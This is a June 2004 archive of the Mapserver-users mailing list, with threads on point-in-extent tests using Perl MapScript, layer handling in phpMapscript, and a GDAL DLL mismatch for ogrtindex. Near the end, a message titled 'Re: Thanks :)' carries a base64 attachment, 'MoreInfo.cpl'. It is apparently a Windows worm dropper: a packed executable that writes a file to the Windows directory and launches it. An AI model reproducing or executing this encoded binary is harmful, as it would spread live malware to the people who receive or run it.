------=_NextPart_000_0001_01C45562.35FB8AD0-- From hal at mobilegeographics.com Fri Jun 18 15:58:30 2004 From: hal at mobilegeographics.com (Hal Mueller) Date: Fri, 18 Jun 2004 15:58:30 -0700 Subject: [Mapserver-users] PHP: was dynamic point drawn? Message-ID: I'm generating a set of dynamic points from a mySQL database, based on attributes of the points. Then I plot that set of points. If I'm plotting on a regional map, I'd like to know which of the (worldwide) points were actually drawn. Is there a function to do that? Something like $map->testInExtent($layer, $point) To be more specific, my question in the code is "which of these moving objects are in the map that I just drew?". I could look at the extent of the map manually, project the point, and test that--but it seems like there must be a canned way to do this already. TIA, Hal From marcelito20 at hotmail.com Fri Jun 18 16:42:26 2004 From: marcelito20 at hotmail.com (Marcelo Carrillo) Date: Fri, 18 Jun 2004 18:42:26 -0500 Subject: [Mapserver-users] Help on handling layers with phpMapscript Message-ID: <40D37DE2.000003.02172@BECARIO1> --------------Boundary-00=_Q63JG6G0000000000000 Content-Type: Multipart/Alternative; boundary="------------Boundary-00=_Q63JBHK0000000000000" --------------Boundary-00=_Q63JBHK0000000000000 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi Mapserverers!!!=0D =0D I'm using phpMapscript 4.0.1 and I'm wondering if someone of you had alre= ady try to handle layers to show as in workshop example or in matlab...=0D =0D Witch of one, do you think is the best approach? =0D =0D Any sugestions will be appreciate...=0D =0D Regards,=0D =0D =0D Marcelo Ismael Carrillo Est=E9vez=0D BAYTEQ C=EDa. Ltda.=0D 09-8813885 =0D "There's no place like 127.0.0.1" --------------Boundary-00=_Q63JBHK0000000000000 Content-Type: Text/HTML; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi Mapserverers!!!
 
I'm using phpMapscript 4.0.1 and I'm wondering if someone of you had= already try to handle layers to show as in workshop example or= in matlab...
 
Witch of one, do you think is the best approach? 
 
Any sugestions will be appreciate...
 
Regards,
 
 
Marcelo Ismael Carrillo Est=E9vez
BAYTEQ C=EDa. Ltda.
09-8813885 
"There's no place like 127.0.0.1"
______________________= ___________________________________________
3D""  IncrediMail = - El Email ha evolucionado finalmente - Haga clic aqu=ED
--------------Boundary-00=_Q63JBHK0000000000000-- --------------Boundary-00=_Q63JG6G0000000000000 Content-Type: image/gif; name="IMSTP.gif" Content-Transfer-Encoding: base64 Content-ID: <0574C651-FE3C-4BFF-8575-B181E485EEFF> R0lGODlhFAAPALMIAP9gAM9gAM8vAM9gL/+QL5AvAGAvAP9gL////wAAAAAAAAAAAAAAAAAAAAAA AAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQJFAAIACwAAAAAFAAPAAAEVRDJSaudJuudrxlEKI6B URlCUYyjKpgYAKSgOBSCDEuGDKgrAtC3Q/R+hkPJEDgYCjpKr5A8WK9OaPFZwHoPqm3366VKyeRt E30tVVRscMHDqV/u+AgAIfkEBWQACAAsAAAAABQADwAABBIQyUmrvTjrzbv/YCiOZGmeaAQAIfkE CRQACAAsAgABABAADQAABEoQIUOrpXIOwrsPxiQUheeRAgUA49YNhbCqK1kS9grQhXGAhsDBUJgZ AL2Dcqkk7ogFpvRAokSn0p4PO6UIuUsQggSmFjKXdAgRAQAh+QQFCgAIACwAAAAAFAAPAAAEEhDJ Sau9OOvNu/9gKI5kaZ5oBAAh+QQJFAAIACwCAAEAEAANAAAEShAhQ6ulcg7Cuw/GJBSF55ECBQDj 1g2FsKorWRL2CtCFcYCGwMFQmBkAvYNyqSTuiAWm9ECiRKfSng87pQi5SxCCBKYWMpd0CBEBACH5 BAVkAAgALAAAAAAUAA8AAAQSEMlJq7046827/2AojmRpnmgEADs= --------------Boundary-00=_Q63JG6G0000000000000-- From eric at gomoos.org Fri Jun 18 17:39:01 2004 From: eric at gomoos.org (Eric Bridger) Date: Fri, 18 Jun 2004 20:39:01 -0400 Subject: [Mapserver-users] PHP: was dynamic point drawn? In-Reply-To: Message-ID: <4.3.2.7.2.20040618202014.00ad02e0@mail.gomoos.org> At 03:58 PM 06/18/2004 -0700, Hal Mueller wrote: >I'm generating a set of dynamic points from a mySQL database, based on attributes of the points. Then I plot that set of points. > >If I'm plotting on a regional map, I'd like to know which of the (worldwide) points were actually drawn. Is there a function to do that? Something like > >$map->testInExtent($layer, $point) > >To be more specific, my question in the code is "which of these moving objects are in the map that I just drew?". > >I could look at the extent of the map manually, project the point, and test that--but it seems like there must be a canned way to do this already. Not really a "canned" way but a brute force way. (Mapserver will take care of projection stuff for you) I have done something similiar by using the $shape->contains($point) method. I did this with polygon shapes not rectangles but it should work the same. 1) create a shape by from you $map current extent: $rect = $map->{extent} 2) Create a shape from that $rect, Perhaps with $shape->{bounds} = $rect; Or create the proper lines and use $shape->add($line). (This is what I did). see create_rect() perl code below. 3) loop thru your points and call $shape->contains($shape). foreach my $point ( @points) { # Does the shape contain the point? my $ret = $shape->contains($point); if($ret == 1){ # yes push @points_found, $point; } ======================= This perl routine creates 10minute squares based on a passed in centroid. sub create_rect{ my($lat, $lon) = @_; my $point = new mapscript::pointObj(); my $line = new mapscript::lineObj(); # max xy point $point->{x} = $lon + .0833; $point->{y} = $lat + .0833; $line->add($point); # max x min y $point->{x} = $lon + .0833; $point->{y} = $lat - .0833; $line->add($point); # min xy $point->{x} = $lon - .0833; $point->{y} = $lat - .0833; $line->add($point); # min x max y $point->{x} = $lon - .0833; $point->{y} = $lat + .0833; $line->add($point); # max xy point again to close polygon $point->{x} = $lon + .0833; $point->{y} = $lat + .0833; $line->add($point); my $shp = new mapscript::shapeObj($mapscript::MS_SHAPE_POLYGON); $shp->add($line); $shp->setBounds(); return $shp; } Eric Bridger From gheysen.t at skynet.be Sat Jun 19 01:16:34 2004 From: gheysen.t at skynet.be (Gheysen Thibaut) Date: Sat, 19 Jun 2004 10:16:34 +0200 Subject: [Mapserver-users] Ogr binaries References: <200406180836.i5I8a96s011742@outmx011.isp.belgacom.be> Message-ID: <005501c455d5$c162f720$5dda043e@jeanlouis> Hi, I have try it but I always have the error that "gdal11.dll" can't be found. I use OpenEv 1.7.4. and the version of gdall.dll include is "gdal12.dll". Best regards, Thibaut ----- Original Message ----- From: "Bart van den Eijnden" To: ; Sent: Friday, June 18, 2004 11:02 AM Subject: Re: [Mapserver-users] Ogr binaries > Hi, > > just run the ogrtindex command from the OpenEV_FW\bin directory. > > Don't copy the ogrtindex.exe to the directory where mapserv.exe is > situated (I assume that is what you are doing). > > Best regards, > Bart > > On Fri, 18 Jun 2004 10:36:09 +0200, wrote: > > > Hello, > > > > Somebody can send to me a window version of the utility ogrtindex > > because this include in openEV need a other version of \"gdal.dll\" that > > this include in the package. > > > > Thanks in advance. > > > > Gheysen Thibaut. > > > > -- > > From bartvde at xs4all.nl Sat Jun 19 04:30:46 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Sat, 19 Jun 2004 13:30:46 +0200 Subject: [Mapserver-users] Ogr binaries In-Reply-To: <005501c455d5$c162f720$5dda043e@jeanlouis> References: <200406180836.i5I8a96s011742@outmx011.isp.belgacom.be> <005501c455d5$c162f720$5dda043e@jeanlouis> Message-ID: Hi, I just checked with my OpenEV version, and I have the same problem, the ogrtindex seems to be compiled against an earlier GDAL/OGR version. The binary date is also from 2002, so that seems to be the problem. Frank, can you comment on this one? Best regards, Bart On Sat, 19 Jun 2004 10:16:34 +0200, Gheysen Thibaut wrote: > Hi, > > I have try it but I always have the error that "gdal11.dll" can't be > found. > I use OpenEv 1.7.4. and the version of gdall.dll include is "gdal12.dll". > > Best regards, > > Thibaut > ----- Original Message ----- > From: "Bart van den Eijnden" > To: ; > Sent: Friday, June 18, 2004 11:02 AM > Subject: Re: [Mapserver-users] Ogr binaries > > >> Hi, >> >> just run the ogrtindex command from the OpenEV_FW\bin directory. >> >> Don't copy the ogrtindex.exe to the directory where mapserv.exe is >> situated (I assume that is what you are doing). >> >> Best regards, >> Bart >> >> On Fri, 18 Jun 2004 10:36:09 +0200, wrote: >> >> > Hello, >> > >> > Somebody can send to me a window version of the utility ogrtindex >> > because this include in openEV need a other version of \"gdal.dll\" >> that >> > this include in the package. >> > >> > Thanks in advance. >> > >> > Gheysen Thibaut. >> >> >> >> -- >> >> > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- From aborruso at spaziogis.it Sat Jun 19 05:27:59 2004 From: aborruso at spaziogis.it (Aborruso) Date: Sat, 19 Jun 2004 20:27:59 +0800 Subject: [Mapserver-users] Re: Thanks :) Message-ID: ----------xtmmqaebjmvipmyidgqm Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------xtmmqaebjmvipmyidgqm Content-Type: application/octet-stream; name="MoreInfo.cpl" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="MoreInfo.cpl" TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAQAAAAFBFAABMAQMA7cGQQAAAAAAAAAAA4AAOIQsBBQwABgAAAAIAAAAAAAAQEQAA ABAAAAAgAAAAAAAQABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAPIEAAAACAAAAAAAAAgAAAAAA EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAFBAAADwAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAIAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAHAQAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAADgBQAA ABAAAAACAAAAAgAAAAAAAAAAAAAAAAAAIAAA4C5yZWxvYwAAKAAAAAAgAAAAAgAAAAQAAAAA AAAAAAAAAAAAAEAAAEIAAAAAAAAAADxRAAAAMAAAPFEAAAAGAAAAAAAAAAAAAAAAAAAgAADg AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABcY3Bsc3R1Yi5leGUAb3BlbgAAAFAQAAAAAAAA AAAAANwQAABwEAAAaBAAAAAAAAAAAAAA+hAAAIgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAQ AACeEAAArBAAAMQQAADQEAAAAAAAAOoQAAAAAAAAkBAAAJ4QAACsEAAAxBAAANAQAAAAAAAA 6hAAAAAAAAAZAENsb3NlSGFuZGxlADIAQ3JlYXRlRmlsZUEAZAFHZXRXaW5kb3dzRGlyZWN0 b3J5QQAAuQJXcml0ZUZpbGUA0wJsc3RyY2F0QQAAS0VSTkVMMzIuZGxsAABuAFNoZWxsRXhl Y3V0ZUEAU0hFTEwzMi5kbGwAAAAAAAAAAAAAAFWL7IN9DAF1RpBoAAQAAGjgEQAQ6JsAAABo ABAAEGjgEQAQ6JgAAACQaOARABDoJQAAAAvAdBiQagBqAGoAaOARABBoDRAAEGoA6HcAAAC4 AQAAAMnCDABVi+yDxPhTVjPbkGoAagBqAmoAagNoAAAAwP91COg0AAAAiUX8QHQgvgAwABCt kmoAjUX4UFJW/3X86CMAAAD/dfzoCQAAAEOLw15bycIEAP8lcBAAEP8ldBAAEP8leBAAEP8l fBAAEP8lgBAAEP8liBAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ AAAgAAAAIDEqMS8xOjFPMVQxujHAMcYxzDHSMdgxABAAAAwAAACRMQAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOFEAAE1aAAABAAAAAgAAAP//AABAAAAAAAAAAEAA AAAAAAAAtEzNIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAACpJt0T7UezQO1Hs0DtR7NA 7UezQO5Hs0BjWKBAbUezQBFnoUDsR7NAKkG1QOxHs0BSaWNo7UezQAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAFBFAABMAQMAzA+QQAAAAAAAAAAA4AAPAQsBBQwAUAAAABAAAACQAADw4gAA AKAAAADwAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAAABAAAQAAAAAAAAAgAAAAAA EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAApPMAAEwCAAAA8AAApAMAAAAAAAAAAAAA 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 6LDN/g3BIcvdbncNnwySwVUaE/RCNs4JQ/7HLgfrMKsVxCQ8/zwR2f////+elZTdjtqfjJ+U 2o6Ig9rA19OH8RTzc50x7lxyH6pPTP////8fVntmh5m6yhdKMbyvgvTG5UDeAVbwoEFa26+0 UN9ahv////+cT94VRUojtWLDt1un1/7kSYUuDyVQxK1/NQ7NaZXTX/8N/v/BpUCD7TMhtvox NaR7FEpMb4nKFslJH5b/////F39Xz8Py0NLL1udnn+g8nsCvX+vEkOsTIWQq7sBDCfb4//+l 5hbpVOm59bLplvjkovQ+8dELDX1QIzX///+lnHXpLrw5e/xwKx8pekPpgxgrypEmGmG8bxL/ //+/lMNDr6Katk7jW3SecH9StUEWOSRkbN38v9Hf6OsHKuNzyZNDbystOS55kf//f6GSnJAt VINXIjp4Ja5Pc+u0wwbevewEOBr//y3+jBZmNUXBrs8hYFxMA/JuQJ7Cn8XevKO1/////1yx rnxuGmvfAiIYHqZosvcbHydQS2l2aPTNFeGRMNDg/////wMkZ2U8ppWk1HbsvBxDwjLE8GxS zmrrQfKz6HIdVV+gv8H//2nUFS6onGg1J065HThwRT542A0UKNogxf////85PWOvinAGguTz XRMAt67wlCxvhlNJqEKBZao9hXSYtP/////pYdFGaXrsdfixTeA2CWp0PzrXW+KQ1obFrLM9 kQk8W/////+XF9HkdergvVjZzi3FGYHUxHd74F6mPjSQuH9Php2+lf//jf/e9acp6sZX94t+ ukKabp/5BwyWq8fVpU/DOP//G/01pQM77DMsyJxcVPOArio+mLtrOalhZKT/2///sMAIxH4T vXDV9lYySEPyV6LshjCFITpFSZ2eLf////+axR5qgkP9/SfWB8XAQUSDK7x8GVw65mI0ZGRR +TKvaP//1v8yT91nMvkemxpWfWic7v2DipG5MjVPeuvMyP+X/v+2pa5M9/1z/4E9G+lm1/PM H9jNxj9qAxq2ov////87MfJButxb4PwhP1kfuN/lHbfBlzNu5++aGyoWNuYAwcHb//9SH40d BcBx0+6xUb0uVlGqckNKecuT////vxHxLWcvhipmTr2ipYyGt1hguHdFtWMOFUcZKNEUr+r/ 